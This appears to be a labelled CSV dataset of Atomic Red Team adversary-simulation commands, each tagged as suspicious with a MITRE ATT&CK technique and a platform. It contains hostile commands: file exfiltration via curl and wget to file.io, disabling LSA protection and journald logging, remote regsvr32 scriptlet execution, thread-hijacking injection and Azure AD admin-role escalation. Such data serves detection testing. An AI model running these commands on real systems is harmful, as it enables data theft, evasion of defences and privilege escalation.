10232e33e4b0919f12b41a8a,"""#{vboxmanage_exe}"" createvm --name ""#{vm_name}"" --register ""#{vboxmanage_exe}"" modifyvm ""#{vm_name}"" --firmware efi ""#{vboxmanage_exe}"" startvm ""#{vm_name}""","""#{vboxmanage_exe}"" createvm --name ""#{vm_name}"" --register ""#{vboxmanage_exe}"" modifyvm ""#{vm_name}"" --firmware efi ""#{vboxmanage_exe}"" startvm ""#{vm_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.006/T1564.006.yaml,Create and start VirtualBox virtual machine,T1564.006,"[""T1564.006""]",windows,0.9,False,"Create a simple VirtualBox VM and start up the machine
Cleanup command stops and deletes the newly created VM and associated files
https://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://attack.mitre.org/techniques/T1564/006/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c4a7607d3eeb2a2bcf8bb72a,"""#{vboxmanage_exe}"" controlvm ""#{vm_name}"" poweroff ""#{vboxmanage_exe}"" unregistervm ""#{vm_name}"" --delete","""#{vboxmanage_exe}"" controlvm ""#{vm_name}"" poweroff ""#{vboxmanage_exe}"" unregistervm ""#{vm_name}"" --delete",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.006/T1564.006.yaml,Create and start VirtualBox virtual machine,T1564.006,"[""T1564.006""]",windows,0.55,True,"Create a simple VirtualBox VM and start up the machine
Cleanup command stops and deletes the newly created VM and associated files
https://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://attack.mitre.org/techniques/T1564/006/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ae0127cea9e93f37c9550dde,"$VM = ""#{vm_name}"" New-VM -Name $VM -Generation 2 Set-VMFirmware $VM -EnableSecureBoot Off Start-VM $VM","$VM = ""#{vm_name}"" New-VM -Name $VM -Generation 2 Set-VMFirmware $VM -EnableSecureBoot Off Start-VM $VM",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.006/T1564.006.yaml,Create and start Hyper-V virtual machine,T1564.006,"[""T1564.006""]",windows,0.9,False,"Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine
Cleanup command stops and deletes the newly created VM
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
https://attack.mitre.org/techniques/T1564/006/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5616cd4fd636f604d4c57103,Stop-VM $VM -Force Remove-VM $VM -Force,Stop-VM $VM -Force Remove-VM $VM -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.006/T1564.006.yaml,Create and start Hyper-V virtual machine,T1564.006,"[""T1564.006""]",windows,0.55,True,"Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine
Cleanup command stops and deletes the newly created VM
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
https://attack.mitre.org/techniques/T1564/006/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0c95385725e75f4acc1e8571,"#{curl_path} -k -F ""file=@#{input_file}"" https://file.io/","#{curl_path} -k -F ""file=@#{input_file}"" https://file.io/",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.002/T1048.002.yaml,Exfiltrate data HTTPS using curl windows,T1048.002,"[""T1048.002""]",windows,0.9,False,"Exfiltrate data HTTPS using curl to file share site file.io
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
48b0f85fa710bb06190a85e3,curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/,curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.002/T1048.002.yaml,"Exfiltrate data HTTPS using curl freebsd,linux or macos",T1048.002,"[""T1048.002""]","macos,linux",0.9,False,"Exfiltrate data HTTPS using curl to file share site file.io
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
efd0e296ba86db64449f828f,"wget --post-file=""#{input_file}"" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after","wget --post-file=""#{input_file}"" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.002/T1048.002.yaml,Exfiltrate data in a file over HTTPS using wget,T1048.002,"[""T1048.002""]",linux,0.9,False,"Exfiltrate data over HTTPS using wget --post-file method
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ea0d78db44df5d33874db4e8,"wget --post-data=""msg=AtomicTestT1048.002"" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after","wget --post-data=""msg=AtomicTestT1048.002"" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.002/T1048.002.yaml,Exfiltrate data as text over HTTPS using wget,T1048.002,"[""T1048.002""]",linux,0.9,False,"Exfiltrate data over HTTPS using wget --post-data method
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5568fb64f9121ea48a951c2f,reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f,reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562/T1562.yaml,Windows Disable LSA Protection,T1562,"[""T1562""]",windows,0.9,False,"The following Atomic adds a registry entry to disable LSA Protection.

The LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.
Upo",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e9e27c932e6eb6fb3419c509,reg delete HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f >nul 2>&1,reg delete HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562/T1562.yaml,Windows Disable LSA Protection,T1562,"[""T1562""]",windows,0.55,True,"The following Atomic adds a registry entry to disable LSA Protection.

The LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.
Upo",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
adc44f1b155566ac251ef29a,sudo systemctl stop systemd-journald #disables journal logging,sudo systemctl stop systemd-journald #disables journal logging,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562/T1562.yaml,Disable journal logging via systemctl utility,T1562,"[""T1562""]",linux,0.9,False,"The atomic test disables the journal logging using built-in systemctl utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
907526f26a4eba8800f74ebf,sudo systemctl start systemd-journald #starts journal service sudo systemctl enable systemd-journald #starts journal service automatically at boot time,sudo systemctl start systemd-journald #starts journal service sudo systemctl enable systemd-journald #starts journal service automatically at boot time,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562/T1562.yaml,Disable journal logging via systemctl utility,T1562,"[""T1562""]",linux,0.55,True,"The atomic test disables the journal logging using built-in systemctl utility
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6be7927778a54817ecae918a,sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf,sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562/T1562.yaml,Disable journal logging via sed utility,T1562,"[""T1562""]",linux,0.9,False,"The atomic test disables the journal logging by searching and replacing the ""Storage"" parameter to ""none"" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c46963ebc9d1a61170b812c3,sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data sudo systemctl restart systemd-journald #restart the journal service,sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data sudo systemctl restart systemd-journald #restart the journal service,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562/T1562.yaml,Disable journal logging via sed utility,T1562,"[""T1562""]",linux,0.55,True,"The atomic test disables the journal logging by searching and replacing the ""Storage"" parameter to ""none"" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3cb3489d5ccefd9a7abb9e72,"""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 1","""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1559/T1559.yaml,Cobalt Strike Artifact Kit pipe,T1559,"[""T1559""]",windows,0.9,False,"Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc171e53c18fc0b6b95e465d,"""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 2","""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 2",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1559/T1559.yaml,Cobalt Strike Lateral Movement (psexec_psh) pipe,T1559,"[""T1559""]",windows,0.9,False,"Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9f7742f41075f16a1c911eab,"""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 3","""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 3",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1559/T1559.yaml,Cobalt Strike SSH (postex_ssh) pipe,T1559,"[""T1559""]",windows,0.9,False,"Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb5528b062ceb90115690e9f,"""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 4","""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 4",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1559/T1559.yaml,Cobalt Strike post-exploitation pipe (4.2 and later),T1559,"[""T1559""]",windows,0.9,False,"Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5b43bb975e0efbc48c3240c1,"""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 5","""PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"" --pipe 5",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1559/T1559.yaml,Cobalt Strike post-exploitation pipe (before 4.2),T1559,"[""T1559""]",windows,0.9,False,"Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff20ebd2b8a5136bbc65dca4,"$notepad = Start-Process notepad -passthru Start-Process ""$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe"" Start-Sleep -Seconds 5 Stop-Process $notepad.id","$notepad = Start-Process notepad -passthru Start-Process ""$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe"" Start-Sleep -Seconds 5 Stop-Process $notepad.id",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.003/T1055.003.yaml,Thread Execution Hijacking,T1055.003,"[""T1055.003""]",windows,0.9,False,"This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the ""Atomic Red Team"" caption after one or two seconds. ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69d9e1cc7cc55d0e59d2f4fe,"#{regsvr32path}\#{regsvr32name} /s /u /i:""#{filename}"" scrobj.dll","#{regsvr32path}\#{regsvr32name} /s /u /i:""#{filename}"" scrobj.dll",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.010/T1218.010.yaml,Regsvr32 local COM scriptlet execution,T1218.010,"[""T1218.010""]",windows,0.9,False,"Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56393237c5f9738cae82b38f,#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll,#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.010/T1218.010.yaml,Regsvr32 remote COM scriptlet execution,T1218.010,"[""T1218.010""]",windows,0.9,False,"Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable
windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2ee2a4f1b26cddfe8212e38,"IF ""%PROCESSOR_ARCHITECTURE%""==""AMD64"" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )","IF ""%PROCESSOR_ARCHITECTURE%""==""AMD64"" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.010/T1218.010.yaml,Regsvr32 local DLL execution,T1218.010,"[""T1218.010""]",windows,0.9,False,"Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4d17d798d3e8bbfeb08fd9fc,#{regsvr32path}\#{regsvr32name} /s #{dll_file},#{regsvr32path}\#{regsvr32name} /s #{dll_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.010/T1218.010.yaml,Regsvr32 Registering Non DLL,T1218.010,"[""T1218.010""]",windows,0.9,False,"Replicating observed Gozi maldoc behavior registering a dll with an altered extension
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0f96f60a780fea8e1daa8da7,#{regsvr32path}\#{regsvr32name} /U /s #{dll_file},#{regsvr32path}\#{regsvr32name} /U /s #{dll_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.010/T1218.010.yaml,Regsvr32 Registering Non DLL,T1218.010,"[""T1218.010""]",windows,0.55,True,"Replicating observed Gozi maldoc behavior registering a dll with an altered extension
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
adafcdef469b9b48811f8b56,"#{regsvr32path}\#{regsvr32name} /s /i ""#{dll_name}""","#{regsvr32path}\#{regsvr32name} /s /i ""#{dll_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.010/T1218.010.yaml,Regsvr32 Silent DLL Install Call DllRegisterServer,T1218.010,"[""T1218.010""]",windows,0.9,False,"Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3ceb56a94d71cb717762e8a,"net localgroup net localgroup ""Administrators""","net localgroup net localgroup ""Administrators""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,Basic Permission Groups Discovery Windows (Local),T1069.001,"[""T1069.001""]",windows,0.9,False,"Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
87837c1544f0f639326afbbc,"get-localgroup Get-LocalGroupMember -Name ""Administrators""","get-localgroup Get-LocalGroupMember -Name ""Administrators""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,Permission Groups Discovery PowerShell (Local),T1069.001,"[""T1069.001""]",windows,0.9,False,"Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
97f9a8836481e480ac3ccaa5,"New-Item -Path ""#{output_path}"" -ItemType Directory > $null & ""#{sharphound_path}"" -d ""#{domain}"" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory ""#{output_path}""","New-Item -Path ""#{output_path}"" -ItemType Directory > $null & ""#{sharphound_path}"" -d ""#{domain}"" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory ""#{output_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,SharpHound3 - LocalAdmin,T1069.001,"[""T1069.001""]",windows,0.9,False,"This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d9825bf04608aef5cbbd586,Remove-Item -Recurse #{output_path} -ErrorAction Ignore,Remove-Item -Recurse #{output_path} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,SharpHound3 - LocalAdmin,T1069.001,"[""T1069.001""]",windows,0.55,True,"This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2078448fdc97ef78ec06d015,wmic group get name,wmic group get name,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,Wmic Group Discovery,T1069.001,"[""T1069.001""]",windows,0.9,False,"Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a372a8a21a8e88057715207,Get-WMIObject Win32_Group,Get-WMIObject Win32_Group,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,WMIObject Group Discovery,T1069.001,"[""T1069.001""]",windows,0.9,False,"Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6b98bcfd89a05c24b720b7ff,docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/ docker run --name t1069_container --rm -d -t t1069 docker exec t1069_container ./test.sh,docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/ docker run --name t1069_container --rm -d -t t1069 docker exec t1069_container ./test.sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,Permission Groups Discovery for Containers- Local Groups,T1069.001,"[""T1069.001""]",containers,0.9,False,"Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7f348de9ee1b1fd2e6c9e07a,docker stop t1069_container docker rmi -f t1069,docker stop t1069_container docker rmi -f t1069,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1069.001/T1069.001.yaml,Permission Groups Discovery for Containers- Local Groups,T1069.001,"[""T1069.001""]",containers,0.55,True,"Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
63d27c3fc9e966db407b8e8f,"Import-Module MSOnline $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-MsolService -Credential $Credential Add-MsolRoleMember -RoleName ""Company Administrator"" -RoleMemberEmailAddress ""#{target_user}""","Import-Module MSOnline $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-MsolService -Credential $Credential Add-MsolRoleMember -RoleName ""Company Administrator"" -RoleMemberEmailAddress ""#{target_user}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.003/T1098.003.yaml,Azure AD - Add Company Administrator Role to a user,T1098.003,"[""T1098.003""]",azure-ad,0.9,False,"Add an existing Azure user account the Company Administrator Role.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4f78041c9fcc5c61ffb0ceb8,"Remove-MsolRoleMember -RoleName ""Company Administrator"" -RoleMemberType User -RoleMemberEmailAddress ""#{target_user}""","Remove-MsolRoleMember -RoleName ""Company Administrator"" -RoleMemberType User -RoleMemberEmailAddress ""#{target_user}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.003/T1098.003.yaml,Azure AD - Add Company Administrator Role to a user,T1098.003,"[""T1098.003""]",azure-ad,0.55,True,"Add an existing Azure user account the Company Administrator Role.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bdc2550c39594e20d00a0050,"Import-Module MSOnline $password = ConvertTo-SecureString -String ""#{auth_password}"" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{auth_username}"", $password Connect-MsolService -Credential $credential Remove-MsolRoleMember -RoleName ""Company Administrator"" -RoleMemberType User -RoleMemberEmailAddress ""#{target_user}"" Remove-MsolRoleMember -RoleName ""Global Reader"" -RoleMemberType User -RoleMemberEmailAddress ""#{target_user}""","Import-Module MSOnline $password = ConvertTo-SecureString -String ""#{auth_password}"" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{auth_username}"", $password Connect-MsolService -Credential $credential Remove-MsolRoleMember -RoleName ""Company Administrator"" -RoleMemberType User -RoleMemberEmailAddress ""#{target_user}"" Remove-MsolRoleMember -RoleName ""Global Reader"" -RoleMemberType User -RoleMemberEmailAddress ""#{target_user}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.003/T1098.003.yaml,Simulate - Post BEC persistence via user password reset followed by user added to company administrator role,T1098.003,"[""T1098.003""]",azure-ad,0.55,True,"This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365.
 Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
02344f407f3014db516623be,netstat -ano net use net sessions 2>nul,netstat -ano net use net sessions 2>nul,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1049/T1049.yaml,System Network Connections Discovery,T1049,"[""T1049""]",windows,0.9,False,"Get a listing of network connections.

Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
24e3eeb71323c5b4cb9b5266,"Get-NetTCPConnection | ForEach-Object { $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [pscustomobject]@{ Local = ""$($_.LocalAddress):$($_.LocalPort)"" Remote = ""$($_.RemoteAddress):$($_.RemotePort)"" State = $_.State PID = $_.OwningProcess Process = if ($p) { $p.ProcessName } else { $null } } } | Sort-Object State,Process | Format-Table -AutoSize","Get-NetTCPConnection | ForEach-Object { $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [pscustomobject]@{ Local = ""$($_.LocalAddress):$($_.LocalPort)"" Remote = ""$($_.RemoteAddress):$($_.RemotePort)"" State = $_.State PID = $_.OwningProcess Process = if ($p) { $p.ProcessName } else { $null } } } | Sort-Object State,Process | Format-Table -AutoSize",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1049/T1049.yaml,System Network Connections Discovery via PowerShell (Process Mapping),T1049,"[""T1049""]",windows,0.9,False,"Enumerate TCP connections and map to owning process names via PowerShell.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ec2b8a80ccbf9d4733075e62,if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi,if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1049/T1049.yaml,System Network Connections Discovery via ss or lsof (Linux/MacOS),T1049,"[""T1049""]","linux,macos",0.9,False,"List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c605ad832db747cad4b2ac3c,netstat who -a,netstat who -a,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1049/T1049.yaml,"System Network Connections Discovery FreeBSD, Linux & MacOS",T1049,"[""T1049""]","linux,macos",0.9,False,"Get a listing of network connections.

Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4552933c70398653d0bb5278,sockstat -4 sockstat -6 2>/dev/null || true sockstat -l 2>/dev/null || true,sockstat -4 sockstat -6 2>/dev/null || true sockstat -l 2>/dev/null || true,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1049/T1049.yaml,"System Network Connections Discovery via sockstat (Linux, FreeBSD)",T1049,"[""T1049""]",linux,0.9,False,"Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
77b72d366299a85d3faeb8f3,$syntaxList = #{syntax} foreach ($syntax in $syntaxList) { #{SharpView} $syntax -},$syntaxList = #{syntax} foreach ($syntax in $syntaxList) { #{SharpView} $syntax -},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1049/T1049.yaml,System Discovery using SharpView,T1049,"[""T1049""]",windows,0.9,False,"Get a listing of network connections, domains, domain users, and etc.  
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
